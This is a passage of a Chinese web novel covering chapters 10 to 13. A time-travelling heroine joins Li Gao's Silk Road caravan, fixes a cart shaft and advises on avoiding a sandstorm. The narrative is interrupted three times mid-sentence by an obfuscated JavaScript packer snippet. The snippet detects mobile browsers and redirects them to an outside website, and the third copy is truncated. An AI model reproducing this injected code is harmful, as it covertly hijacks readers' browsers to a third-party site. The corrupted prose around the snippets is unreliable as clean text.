车马整装待发,忙碌一早的人们早已准备就绪,行商的队伍中,除了护卫,居然还有随行的学者、工匠、高鼻卷发的传教士,想来阿祇的加入就没那么与众不同了。不远处,白发之人已率领约百人守候在山丘之上,遥望过去,竟有几分金戈铁马的感觉,正是昨夜屠狼兵马无疑。那行人头戴兜帽假面,身姿凛然,一看就是训练有素的家族部曲。 阿祇曾度过文献,早在东汉末年的世族子弟门生就被当作家兵豢养,乱世人无所归,部曲永随将帅,这支商队的背景深不可测。 谈话间,白骆驼已焕然一新,立在主人面前。 那人潇洒地坐上骆驼,轻抚了它的纯白鬃毛,看向少年,“二弟,商队就交予你了。” 阿祇没想到白骆驼主人和宋繇原来是兄弟,长得不太像,清了一下脑子,这些细枝末节与她无关,退到一旁。少年带领几位管事齐齐行礼,“恭送家主。” 白骆驼主人温润高贵,跃身端坐白骆驼。众人躬身,阿祇没跟上节奏,眼睛与那双深邃的褐眸对视,与那样的眼神不期而遇,灼灼其华,不自然想躲闪。 “到了于阗,阿祇去留自便。” 阿祇想聊表谢意,才发现还不知道怎么称呼。似乎看到了她眼中困惑,白骆驼主人临行前又开口:“山水有相逢,在下姓李,名暠,若日后相见阿祇唤我玄盛即可。” 好个山水有相逢…… 等下,阿祇的脑中轰一声炸了。 他是,李暠,李玄盛。 10. 白衣玄盛 浩瀚的大漠孤烟,白骆驼一行人早已消失在黄沙尽头。平坦的西域官道上,他们这行车马长队绵延近百米,车轮发出的吱吱声传入耳中,坐在马车里的女子外表安然,内心却无法平静。 前有北凉沮渠蒙逊,那这个李暠不言而喻,正是魏晋十六国时期出生陇西李氏,传闻有羌、鲜卑的胡人血统,从敦煌太守一路收复河西走廊,在乱世之中成为西凉开国国君。 她脑海中又冒出一首怪力乱神的推背预言。 帝气出西魏,诸王皆黯然。 玉树繁华尽,南北合于杨。 不满四十载,神龙临晋阳。 有子平夏郑,四方仰其光。 有塘临大舟,阴蔽不见阳。 大意是:西魏有帝王之象,在短暂四十年的隋朝兴衰后,成就盛世。历史的车轮辗转不停,两百年后,被追尊为兴圣皇帝的李暠被再次铭记,因为这位西凉武昭王李暠的后世子孙,建立了华夏最鼎盛的大唐——李氏王朝。 一阵剧烈的颠簸,拉回了阿祇神游的思绪,掀开门帘,眺望这个异世。 翌日,清风暖日。 深深吸一口外面的空气,心旷神怡。 她的马车走在商队最后,远远可见一面旌旗,上面有个大大的黑底白字“玄”。 玄盛,是李暠的字。 “玄玉阁”的名号穿行在西域大漠的玉石之路,便是最好的护身符。巨大的财富与权势交融在一起,李氏世族年轻的家主,人称玄郎君,往来大漠十年,已是莽莽昆仑下最神秘的势力。虽说士、农、工、商,将行商置之末流,但是魏晋的世家大族多有经商,用以豢养部曲,乱世中求得太平不易。 马车慢吞吞地走在官道上,烈日当空,人困马乏。努尔爬俯服在她的脚下,这两日恢复了点精神,睡醒了舔舔伤口,看发呆的主人不理自己,又呼呼睡去。 车外忽传来一个声音,“阿祇。” 阿祇将头伸出车外,看骑马走近之人,“宋掌事。” 少年掌事与他的阿兄有几分神似,眉目清秀,优雅的谈吐与温润高贵的玄郎君如出一辙,颇具世家子弟的风范,却又隐隐带着压迫感。 自从将这段历史对上号后,很多困惑也迎刃而解了,李暠是陇西李氏世族的遗腹子,生母改嫁,李暠自幼被当作继任陇西李氏家主培养,宋繇则是他同母异父的弟弟,也是日后辅佐西凉两代君主的能臣。 阿祇跳下车,恭敬地问:“宋掌事有什么事?” 少年掌事朝身后挥了下手,一箱沉甸甸的物品被抬上马车,“我让人先将公文书册送来了,这箱是货物清单和账目,还有往年的旧账木简需要誊抄新纸,稍后我会遣人送来笔墨黄纸,阿祇若有问题可随时找我。” “好。”女子的声音欢快婉转,甚至有点小兴奋。 辛薇随林教授的第一次考古发掘,就是收集整理散落简牍,竹片为简,木片为牍,贵族才用得起缣帛,纸张在魏晋时期逐渐普及,这些可是真正的历史“文物”。阿祇一边听着掌事的介绍,一边小心放好木箱,然后扯过层层罩衫的衣摆,擦拭卷册上的灰尘。 她直视少年真诚一笑,“多谢宋掌事。” 少年声音温润,有与年龄不符的成熟。 “阿祇,你是中原人?” “或许是吧,也许不是,以前的事情记不得了。”辛薇说不清楚她的来历,干脆轻描淡写地说:“只记得我姓辛,来西域途中遇袭落水,被一位阿秭所救。” 宋繇只当她是受伤失忆,仔细思量,似乎未曾听说西北有什么辛氏宗族,她一孤女流浪西域,或许有什么不为人知的艰辛。长期跟随长兄走南闯北,他想帮她,如今也有几分底气。 “阿祇谈吐自有一番洒脱,若有意回故里寻亲,玄玉阁可尽绵力。” 这位少年掌事看起来很真诚,反而令她有些不好意思,忙道谢:“谢宋掌事。”宋繇正要再开口,阿祇却换了话题:“对了掌事,我们商队从哪里来?去往何处?” 宋繇据实相告:“冬去春来,玄玉阁的商队每年从敦煌西出玉门,走商漠南,有时也去漠北。” 谈起玄玉阁,宋繇眼神熠熠,“阿祇可去过敦煌?” 辛薇当然去过千年后的敦煌,但祖慕祇犹如新生,恨不得立刻行万里路,亲眼看看这个世界。 “是很想去的。” 华戎所交,广开西域,敦煌盛名谁人不知。五胡乱华的时代群雄逐鹿中原,河西作为相对稳定的关隘,敦煌正是中原学儒和百姓逃往的避难之地,佛窟未开几座,现在肯定远达不到兴盛的地步。 阿祇不由感叹:“《汉书》曰,敦,大也。煌,盛也。“ 宋繇顺着女孩的目光,向东而望,“玄玉阁正在敦煌正街,阿祇可去看看。” “多谢掌事,能结识你和李家主,真是幸事。” 五胡乱华的魏晋时代男女没有大妨,动荡的年代人命如朝露,中原士女避乱江南者十六七,北方的士族与游牧民族混居,士风既有文人雅士的教养,也不乏放浪形骸的乖张,昨夜斗狼的勇士,再见清冷的精绝女子,明媚一笑,面容灿若朝阳,宋繇反倒略显局促。 阿兄果然说的对,她不一般。 两人正聊的兴起,突然空中传来一声鹰鸣。 阿祇仰望,湛蓝的天空一只展翅的雏鹰正绕着他们头顶盘旋。宋繇拿出一个哨子,轻轻一吹,小鹰便朝他们飞来,宋繇抬起右臂,那里有一个皮质护腕,雏鹰乖乖站立在上,一口叼住主人抛来的食物。 宋繇说:“这是负责传信的苍颉,草原上的匈奴首领所赠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492969|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “玄玉阁与匈奴也有往来?” 阿祇吃惊,没想到他们也与匈奴做买卖。 宋繇眼神扫过她腰间匕首,然后落在雏鹰脚踝上,那里有一枚镶着玉石的套筒,里面有一小片木牍。 “漠北的战马彪悍健壮,玄玉阁的买卖不只是玉石,龙城九月的集会,千里会阴山,匈奴人豪爽好客,苍劼就是当地首领的礼物,阿祇对匈奴也感兴趣?“ 阿祇摇摇头,她唯一认识的匈奴人,正被她等着协恩图报呢,而且她对匈奴人的印象甚是不良,最好敬而远之。 宋繇看了一眼木牍,交给阿祇,“阿兄已经上路,劳烦阿祇将商队情况回信附上。”处理书信也是文书的一项工作,女子双手接过木牍,对宋繇点头,“放心。” 车夫一声吆喝,马车逐渐朝前方的队伍驶去,宋繇放飞苍劼,停在原处看女子朝他挥了下手,然后放下帘子渐行渐远。 他想起与她初见…… 那夜,满载丝绸瓷器的商队耽误了行程,夜深途经荒野,听到狼群亢奋的叫声,大漠上飘来烽火狼烟,通常“玄”字旗一出,西域官道方圆三十里的沙盗皆避让,无人敢打劫他们的商队。家主派急行军去侦察情况,众人见火焰围绕的胡杨树下,一个女子正与群狼搏斗,身后护着一只受伤的猎犬,明明没有武功套路却敏捷无畏,那双带血坚定的眼睛夺人心魄,这画面令儿郎们很是震撼。原以为小娘子有些来头,几日相处下来,却找不到什么破绽。 塞外景致大气苍凉,却也枯燥单调。 商队如同往常一样穿行在戈壁滩上,玄玉阁不成文的规定,沿途会收留随一些西域的学者、工匠、僧侣、传教士,甚至还收留过西域琴师与舞娘……每次商队的规模随着行程的增加而扩大,大多数人都不会介意这样的互助,因此,阿祇“屠狼少女”的加入,没有激起多大的震惊。 阿祇与努尔窝在马车里,彼时正在翻书册。 “努尔,这古代人没有计算器,数据却分毫不差,行商记录简直是小型搜索目录,从山川地域,到斗转星移,事无巨细几乎网格化,怪不得一年的账目就要一整箱来装。”阿祇不由心生敬服。 三更灯火五更鸡,正是读书时。 她将箱中书册翻来覆去看了几遍,基于小小文书的职业道德,整理好沿途贸易流水清单,誊撰旧账。不看不知,玄玉阁仅去年玉石买卖,就是无数真金白银,再加上丝绸、茶叶、香料、瓷器等等产业,难怪他们养得起精兵一样的部曲护卫,买得来丝路上一路通畅。 意外的收获是,她在去年旧账中看到“建元十八年”。 建元,西汉、前赵、东晋、前秦、南齐都曾用此作为年号,既然已经遇见了尚未自立的西凉李暠,那么……阿祇一喜,已推算出今夕何夕。 11. 初来乍到 颠簸的马车停了下来,不远处有人声嘈杂。 起初阿祇并不在意,一门心思扑在书简之中。沉浸在古籍里,时间对她来说没有太大的意义,可是对一旁的努尔来说,一会儿就有点闲不住了。小脑袋拱拱阿祇的胳膊肘,湿漉漉的鼻子蹭来蹭去,嗓子里发出哼唧的声音。 “不是刚遛回来没多久吗?”女孩头也没抬。 商队救了她们一命,还帮她们省了寻找水源食物的烦恼,所以她不想收什么工钱,收留她一人一狗已经是李暠对她最大的善意,更不想给商队增添麻烦。 阿祇放下手中木简,拉下围在头顶冒汗的罩衣,回头瞪着努尔黑黢黢的眼珠,认真道:“告诉你,我们要少吃少喝少乱跑,咱们的马车已经落后,我看你腿脚没大问题,若再下去跑个没边,就不用上车了。” 努尔有些委屈,它只是闻到了有血腥味。 没多久阿祇就留意到有嘈杂声传了过来。她拉开车帘朝外面张望,由于商队走的是官道,行路并不算缓慢,前面好像确实出了事,耽误了许久也不见移动。 “走,去看看。” 努尔摇起尾巴,伸长舌头欢快地跳下车,它后腿还一瘸一拐,但动作敏捷一溜烟就跑远了。 阿祇裹紧长衫罩衣,蒙上面纱,虽然商队大多数人早就见过她,但毕竟这里人员复杂彼此还不熟悉,善爱的嘱咐阿祇不敢忘,行事低调。 风卷着她的袍子飞舞,近日干燥风大,她从马车下来才发觉自己的幸运,外面路过几个人,大多数第一次见到这个传闻中的女文书。 偶尔有脸熟的人和她打招呼,不远处有个精瘦的高个特别显眼,一脸的稚气,正朝她挥手。男孩不过十四五岁,正在变声期,喊起来大半个商队都被他吸引了注意力,“阿秭,努尔跑前边去了。” 人哪里多,这个小东西就往哪里跑。 阿祇忙也挥了下手,“知道了,多谢。” “阿秭,我陪你一起追努尔。” 努尔最喜欢有人陪它玩追逐的游戏,这一人多,不知道会疯成什么样,阿祇好想大吼一句,“放着,我来。”可是被小林这么一嗓子,帮她追狗的人反而多起来。人群一乱,阿祇才发现原来前面一辆马车的车辕断了,车上的货是送到于阗的丝绸,阿祇熟悉了商队货物的分类印记,这满满一车,分量可不轻。 众人帮忙之下,总算把瘸腿的努尔围到人群之中,阿祇裹着层层罩衣下,努力瞪出一双恶狠狠的眼睛,拍了一下它受伤的屁股,示意赶紧跟她回去。可是努尔伸长舌头哼哼唧唧,然后嗅嗅鼻子,只陪她走到不起眼的地方,趴在地上。 阿祇这才看到不远处坐着一个年轻壮汉,小腿正汩汩流血,有位医者正在帮他包扎。那人一把长胡子,脸颊丰腴蓄须,显得十分和善。 “幸好骨头没断,那匹马受了惊吓失控,还好你躲得及时。”阿祇认得那是送过她伤药的李大夫,治疗外伤很有本事,古代中医典籍流传下来的不多,纯正的中医手法则少之更少,她又有了拜师的冲动。 壮汉呲牙忍着疼,咧嘴道:“就是车辕断了怕耽误行程,一会儿小李管事怪罪,我担待不起。” 小李管事据说名叫李瑾,是陇西李氏二房的嫡系子侄,据说有些顽劣气盛,年轻的伙计都有点怕他,虽与宋繇年纪相仿,但性情迥异。 “路上颠簸出了意外难免,车辕可以修,阿信你第一次出塞,临行前你阿娘特意拜托过我要照看你,赶紧把腿伤养好才是。”李大夫对受伤的年轻人道。 阿信咬着牙,眼泪在眼眶子里打转,没忍住悄悄侧了头,抹了一把,“修不好了,连合适的木料都没地方找。”阿祇听到有人小心议论。 “早就说这车丝绸过重,宋掌事提醒过小李管事,可小李管事素来爱与宋掌事对着干,这又是于阗王室要的货,谁敢轻怠?” “家主向来看重与于阗国的关系,小李管事已经探路去了,行程走了大半,万一宋掌事把货丢在这里,小李管事不和他打起来才怪。” “嘘,别说了,宋掌事来了。” 清俊的身少年骑马而来,正是宋繇。 于阗是商队的第一程的目标,也是货物最多最重要的一段,出了于阗就是漠西,只能靠驼队运输,若是耽误在此,必然会影响整个西域之旅。 “还没有修好吗?” 宋繇问马车附近忙碌的几个人,为首的车夫行礼,“回掌事可以修好,不过需要半天功夫。” “这车货物过重,就算明日你们修好,也肯定要耽误商队的行程。我只给你们一个时辰,一个时辰之后,如若无法上路,卸车。” 车夫满头冒汗,小李管事若知道他们给他找了这么大的麻烦,罚俸不说,估计还得扒了他们一层皮,这趟出塞就算白跑了。 “这,宋掌事能不能再宽限半日。” “你想商队上下百人等你一人?” “不,不敢,但一个时辰……” 车夫硬着头皮十分为难,旁边受伤的阿信脸色发白,他这是第一次出商,临行前母亲流着泪送他出城,就盼望他能顺利回去。 “宋掌事,这都是我的错。” 阿信正要起身,身旁传来一个女子的声音,“一个时辰可以。” 众人随声音看过去,是个灰头土脸的娘子浑身包裹的严严实实,只露出一双明亮的眼睛,刚才托努尔的福,商队几乎没人不认识她们这对闹腾的主仆了。 阿祇离马车不远,她过去蹲下盯着车辕断处,四下问人,“谁有笔墨?” 见众人没反应,阿祇又道:“炭条也行。” 宋繇给小林一个眼色,机灵的小林立刻跑到不远处柴薪灶厨的驼队里抽来根炭条,递给阿祇。阿祇接过,秉承能办事就少说话的习惯,她靠着脑海里看过的古籍里榫卯契合工艺,在车辕上各描了两个线条,包括没断的那根。 “这里,还有那里……都锯断。” 车夫皆惊,不敢想完好的车辕为何也要锯断一截。 “那根车辕可没问题,怎也锯断?那又得费多少功夫?” 阿祇解释道:“两根车辕首先需长度一致,完好的车辕下料刚好又能裁出修补左右车辕的楔子,一会儿按我给你们的装配图纸,再加两个楔子,半个时辰就能修好。” “娘子说的……”车夫不好意思说,没听懂。 阿祇想了想,一百句话没有一张图好使,她撕下衣衫下摆,用炭条画了拆装车辕的工艺装配细节图,车夫们也有经验丰富的,立刻看懂了她的构造原理,直喊妙!妙! “车辕虽然比之前断了一截,但非常情况下只好如此,宋掌事如果有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495093|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身量与车辕高度合适的备用马匹,不妨再加一匹,这样转距也不会受太大影响。” “这样车辕再断了该怎么办?”车夫又问。 阿祇抬起头,还真的很认真地想了想,“再断,只能再锯,锯到无处可锯,转距过小不利于马匹转向,那我就没办法了……不过你们更要担心的该是车轮,载重过大,路况颠簸轮毂易崩裂,一个时辰是万万不够补救的。” 众人若有所思,宋繇来不及感谢,努尔好像又看到了猎物,立刻又跑开来,阿祇怕它跑远了耽误大伙上路,朝众人匆匆行了个礼,也跟着瘸腿大狗追了出去。 小林也跟掌事行了礼,追着狗跑走,“阿秭,等等我。” 阿祇见追不上努尔,好在队伍有一个时辰时间,干脆由着它跑了,“小林,别追了,努尔伤好的差不多了,等它累了就会回来。” 少年有些敬佩这个女子,“阿秭,你怎么什么都懂?” 阿祇和小林走在不远处的沙丘上,风吹得她的头纱呼呼作响,“你是说刚才?商队的车辕原本就很好,可惜关外颠簸,载重过多,难免出此下策,不过舍,得罢了。” “舍,得?”小林喜欢听这个阿秭说话,不懂就问。 阿祇看少年认真的样子,便也多解释了一番,“有舍,有得,是佛禅,也是生活之道,去掉多余的哪怕是好的一截,就得到了车辕的平衡,在舍与得之间,有小欢喜,也是大智慧。” 小林似懂非懂,起初跟随这位新文书是他暗中的任务,虽不能跟随家主和稷他们在大漠中行走,然而有舍有得,与阿秭的相处中,确实得到他心中的小欢喜。 这时,得知消息赶过来的一个锦衣青年,发现马车的问题已经解决,缓和了焦急情绪。他看远去相谈甚欢的身影,前面还有一只活蹦乱跳的狗子,问:“那个就是新来的文书?” 立刻有人躬身,“见过小李掌事。” 传说中李家二房的二世祖,来人正是风风火火赶回来的李瑾,他身边有贴身随从惊奇,“就是这个文书娘子,屠了狼?” 一个随从绘声绘色地说:“嗯,我听说有十只。” “不止,我听说还杀了一只狼王,啧啧,头就有这么大。”另一个随从夸张的用双手比划着。 周围有商贩也议论着:“可惜总蒙着脸,不知道长得如何,懂得倒是挺多,你说她一个孤女行走大漠,不会是什么精怪化身的吧?”一个大胡子商人,一看就是关外人,声音洪亮带着浓重的乡音,“当时玄郎君带她回来,我记得那灰头土脸衣衫破烂的狼狈样子,说不定是大漠哪个匪盗窝里逃出来的女人……”几声低低嬉笑,听那些随行货商们越聊越没边。 他们大多是零散的跑商,出关一趟风险太大,于是想办法交了些银两,加入有部曲护卫的玄武阁商队,李暠并不拒绝给予普通商人保护,但对他们行路的规矩与李氏子弟同样严格,否则随时驱逐商队。 “整装,半个时辰后出发!” 他传令,护卫管事郭谦重整编外人员,抽查货物,半个时辰也够了,爱八卦的闲散商贩怨声载道,一下鸟兽散。宋繇宽和,偶尔严肃起来法度极重,他从小跟在李暠身边颇有家主风范,恩威并济。李瑾是李氏新进子弟,出塞经历不及宋繇,只能屈居管事。 他斜了宋繇一眼,冷笑一声。 12. 舍与得 初夏的大漠,早穿棉,午穿纱。 商队疲惫不堪地来到一片绿洲休整。车内书卷成堆,阿祇一早裹着银狐披肩,与努尔窝在车里,这段日子她像回到了大学自习室的日子,专注而满足,随着气温渐渐闷热,她拉起车帘朝努尔使了个眼色,一人一狗大眼瞪小眼,这狗子最近吃得好伤养得好,日渐发福,伸了个懒腰,吐着舌头看着主子装傻不愿下车。 外面日光刺眼,照进马车里更添热度,瞟了眼膘肥体壮的努尔,阿祇叹口气,脱了披肩和破损的外衫,穿着贴身棉裙被努尔挤到马车角落,一边研磨提笔,一边对努尔唠叨:“你的伤好得差不多了,生命在于运动。” 努尔别过头装睡,狗子这段摆烂的日子太安逸,出去跑,它总被护卫的快马嫌弃驱赶,所以干脆窝在阿祇的身边,等到落日扎营时再玩个痛快。马车内,一个奋笔疾书,一个安静陪伴,倒也和谐。正在这时,车外有人唤了声:“阿祇。” 来人掀帘而入,看到女子正撸着袖子埋在书卷之中。那人明显一愣,外面的阳光洒入,阿祇一手拿着羊毫笔,一手正扫开努尔毛乎乎的大尾巴,领口微敞,露出一小截雪白的颈线优美纤细。她眼神清澈明亮,抬头看向来人,好像遇到导员找谈话时的觉悟,忙端正坐姿。 “宋掌事,有事?” 来人正是宋繇,见到慵懒随意的阿祇,先是一愣,眼神躲闪到桌角的方向,略有尴尬地手里递上一物,“阿兄来信,请文书代笔回执。” 阿祇双手接过木牍,又一封来自李暠的传信。套筒封泥已被宋繇打开,木牍被一刀一刀细心打磨过,散着木材的味道,孔洞挂有一枚小小的“玄”字玉佩。突缘之间,只有两个汉字:“安好。” 落款:“玄,五月十九。” 一贯的惜墨如金,阿祇手指在木牍上摩挲,仍有穿越千年的百感交集。暗自感慨之际,已退到车外的宋繇唤她,“阿祇?” 她回神,略微尴尬地问:“宋掌事要如何回复?” “商队的货物清点和杂事阿祇了然,照实即可。” 阿祇掀开帘子,对站在车外的少年人有礼,“好,一会儿我就送过去。” 宋繇有点不自然,交待完就走了。这个少年给阿祇的印象,待人温文有礼,行事果断风行,听说宋繇即将弱冠之年,十九岁与她同龄,他却已经往来西域中原近十年,而李暠是比宋繇更小的年纪就走商了,一半时间读书,一半时间走万里路,海阔天空,丰草长林。 阿祇沉浸文书的工作,更喜欢听他们的故事。 当然,她还是遵循宋掌事要求,尽快记下商队几日要务,一手精简工整的小篆跃然木牍之上。落款:“繇,五月二十一。” 木牍送到嘴边轻轻吹干墨迹,取下玄字玉佩挂在新的木牍孔洞,然后将收到的木牍归入木箱。收纳是文书的一部分工作,经过几日的琢磨,阿祇用不同颜色的棉绳将木牍,以类别、时间、重要程度等分类不同。她想起考古时,发掘出的木牍附着“奉谨以上”的敬语,阿祇咬着笔头想了想,称职的文书应当礼数周全、面面俱到。她翻到刚写好的落款,最后加上一行小字。 “大漠荒寒,奉兄珍重。” 她嘴角含笑,外面又传来声音,“阿秭。” 努尔对这个声音很熟悉了,抬起头伸向车外,睁大眼睛,吐着舌头疯狂摇尾巴,阿祇跳下马车,看到一个稚嫩的熟脸。 “小林,你来了?” 黑黝黝的高个子小林憨笑,他原本是跟在李暠身边伺候,主子不在就经常替宋掌事做些跑腿的活儿,阿祇在陪努尔出来活动的时候,小林总会送来几根伙夫做饭剩下的肉骨头,几天下来彼此亲如兄弟。小林脑门浸出薄汗,“掌事让我来取给家主的信。” 阿祇将木牍晾在窗口的小桌上,蹲在马车的前方对小林说:“墨迹未干透,我一会儿亲自给掌事送去。”小林笑着点点头,从油纸包里取出一根鹿的腿骨,扔给跳下马车在他身边撒欢的努尔,大狗跳起来一口咬住,摇着尾巴就跑开美餐去了。随后,小林在衣服上蹭干净手,从身后拽过一个包袱递给阿祇,“宋掌事让我把这个给你。” “这是什么?”阿祇接过,好奇地打开。 包袱里竟有几片金叶子和一套胡服,她面有疑惑,“这是?” “这是宋掌事给你的,说这是你帮商队应得的。” 她大概明白这是为了感谢她修理车辕的额外报酬,虽然沾了古人智慧的光,但也不矫情,妥善收起金叶子,毕竟她到了于阗也需要花销。宋繇另外送的胡服让她十分惊喜,材质柔软透气耐磨,白色的亚麻双开对襟,袖口有暗色滚边加刺绣腰带,与李暠那天穿的白色胡服异曲同工,尺寸小了些,样式甚是精致。 “这,也是给我的?”她问小林。 小林点头憨笑。小林不是李氏家生子的仆人,他是早年李暠初闯大漠时捡回的孤儿,为人机灵又善于探路辨认方向,这几年跟着商队走南闯北,也有了些见识,尤其嘴甜,“这是龟兹王送给宋掌事的胡服,家主也有,宋掌事这套一直没舍得穿,他说感谢你的出手相助,就让我送来给你。” “谢谢小林,一会儿我亲自去向掌事致谢。” 衣服有点大,好在阿祇随善爱学了些女红,她想宋繇刚才肯定发现了她的窘迫,大漠温差大,入夏时节她却没有适宜的衣裳这才让小林送来。小林和努尔追逐打闹跑开后,窝在马车里层层罩衣下的低调小文书,简单束发,换上胡服,简单在袖口处缝了几针,等待木牍干透,就朝扎营的大帐方向走去。 阿祇利落的装扮落下兜帽,露出白皙姣好的面容,额间优昙花蕊般的朱砂给男儿装扮增添一抹颜色,格外清新出色。一路引得众人不由停下侧目,眼神随着她的行走相随,作为商队中唯一的女子,阿祇落落大方,对大家的目光并未在意。 跑过来的小林见到她这个样子,眼光一亮,直言:“阿秭,你这个样子真好看。” 还有一句话,他憋在了肚子里,若是跟身穿胡服的家主站在一起,定是十分般配。 阿祇浅笑,“宋掌事在何处?我来送信。” 小林朝营地中央的大帐努努嘴,示意在那边。阿祇点点头,握着写好的木牍朝帐篷走去。当她走近的时候,听到帐里面有争吵声,她停下脚步犹豫着该不该这会儿进去。 这时,里面一个苍老坚定的叹息传来,“日沉天红,恶云见风长,怕是不祥之兆。” 年长的声音是老管事李伯,李伯是李氏士族的老人,办事老练,说一不二,常年随李暠往来西域颇有威望。另一个年轻的声音反驳:“李伯,我们的商队已经迟了时日,买卖事小,信誉事大,万一误了交货,家主怪罪,谁担待的起?” 这应该是李暠的那个旁支堂弟,李瑾,就是众人口中的小李管事。 听闻小李管事年轻气盛,却也有担当,上次车辕断裂的事故,听说他回来主动找宋繇认了责任,会向家主亲自请罪。一事归一事,他明显在这件事上不赞同李伯。 “家主怪罪,自有老夫顶着。” 一脸愁云的护卫统领郭谦,他陪同商队往来大漠多年,家住不在他也踌躇起来,“说好六月交货,郎君与我等在于阗汇合,万一耽误了时日,的确不好交代。” “大风起云气赤黄,黄沙扬四塞无挡,万一遇到黑风暴,避无可避,恐要人货两空啊……” 李伯鼻子里呼出的气吹动胡须,这些小辈不知深浅,不知道沙漠里黑风暴的厉害。黑风暴正是沙尘暴,这个季节正是沙尘弥漫的高峰,可大可小,前几日阿祇刚经历过一场风沙,躲避在佛塔,恰巧救了受伤的沮渠蒙逊那次,倒是能理解李伯几分。 宋繇皱着眉,听他们你一言我一语地争论沉默不语。他当然知道黑风暴的可怕,此番入西域风波不断,阿兄临行前将玄玉阁的旗号交到他的手里,万不敢辜负。 小李管事李瑾坚持前行,“掌事,不如我们拼一把。” 宋繇不语,帐篷中七嘴八舌起来。 混乱间不知是谁发现了门外转身欲走的女子,咳嗽了一声,诸人迅速安静下来。阿祇刚刚换上宋繇遣人送来的胡服,身材高挑纤细焕然一新,她看到见众人投来的目光,略微尴尬,转身要走。 “打扰了,我一会儿再来。” 宋繇见她换上他的衣裳,眉头舒展,“阿祇,有事吗?” 阿祇走过来施礼,双手奉上木牍,“请掌事过目。” 宋繇接过来,对行云流水的文字一向惊艳,翻过来微微一愣,看了眼婷婷站立的女子,终是点了头,阿祇正想告辞,李瑾站在她面前。 “阿祇,留步。” 这是他们第一次正式见面,李瑾对她并没有生疏感,大概就是传说中的“社牛”,阿祇与李瑾没有打过交道,李瑾早就听闻了新文书聪慧,上次又得到过她的照拂,心中倒是有些敬仰,拱手道:“那日多谢阿祇相助。” 阿祇晓得他指的是修车的事,客气道:“举手之劳。” 李瑾见她眉目清秀,性子却不似闺秀扭捏,更多了几分好奇,“阿祇一人独闯大漠,赤胆英姿见多识广,不知对方才议论之事,有何高见?” 眼睛齐刷刷聚在她身上,阿祇不想出风头,“当日我差点命丧狼口还亏大家相救,见多识广实在不敢当,怎敢在诸位前辈面前妄言?” 她看向宋繇,年轻沉稳的掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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阿祇心知让商旅放弃货物就是放弃职守,放弃原则,定难以接受,她的想法不过是风险转化,与货在人在的理念并不冲突,她手指着舆图的一个位置细细解释。 “各位管事请看,如果我们一早离开官道向南,三个时辰能抵达这片石林,石林虽然无法保全人马却适合藏货,留下货物在此,人马全速轻装南下,一两个时辰便可抵达内塔尔山,那里地势高,又靠近乌托河,风虽大却少沙,或许还能找到避风的山坳洞穴。” 众人不发一言,把货物仍在半路自己逃命,就算行得通,心里还是过不去。 阿祇质问,“掌事,可是担心有盗匪流寇劫货?” 宋繇神情严肃,“敢抢玄玉阁的人都已魂归大漠。” 很多年前匪盗横行的大漠,宋繇追随李暠出入大漠,并非商人身份,他们揭过西域的悬赏,诛过大宛的黑沙贼,儿郎们生生踏出一条沙漠血路,待平了杀戮,才搭建出一条玉石之路,日后“玄”字旗一出,再无流匪拦路出没。 宋繇面容坚毅,流露少见的冷意。 阿祇反问,“既如此,为何不顺天时就地利?黑风暴遮天蔽日,所过之地可覆沙三尺,只需一日,待风过沙落人无恙,再回去取货也不迟。” 众人沉默,皆知阿祇说得不无道理,他们只是被忠义职守限制了手脚,习惯了对家主唯命是从,行事才束手束脚。宋繇终于下定决心,“就按阿祇说得办吧。” 管事们再无异议。大家并不见得多信服宋繇,临行前家主既然将商队交给宋繇,就是有意历练他,也是历练身边这些亲信。阿祇不知道这支商旅的凝聚力是如何成就的,但有了决断,接下来就是行动,宋繇已经下令李瑾和郭谦着手安排,阿祇见帮不上忙就告了辞。 她刚出帐篷,宋繇随后而来,“阿祇。” “宋掌事还有什么事吗?” 宋繇郑重的时候神似李暠,欲言又止的样子总算有些少年模样,高出她半头,喉结上下动了动,对着女孩清澈黑眸缓缓启口:“我是来感谢你的。” 阿祇莞尔一笑,低头看身上舒适的胡服,“真巧,我们想到一起了,我本来也是要谢你。”她行了一个胡人礼节,“衣服很好,多谢!”女子姿容清丽,笑容动人,宋繇浮上欣喜。 “咳……不必与我客气。”宋繇声音轻缓温暖,这时蓝天苍颉盘旋在二人头顶发出鸣叫,显然已等得不耐烦了。祖慕祇行礼告辞,刚转身又被他叫住,“还有事?” “没什么……我只想说,阿祇,你做的很好。” 小文书感觉第一份工作得到了老板的认可,脸上的笑容更加真诚,她点了下头转身离去。 身后的人喃喃道:“是舍,与得么?” 13. 龟兹 气势恢宏的城郭三重,佛塔庙宇千座,这里是龟兹的国都,延城。 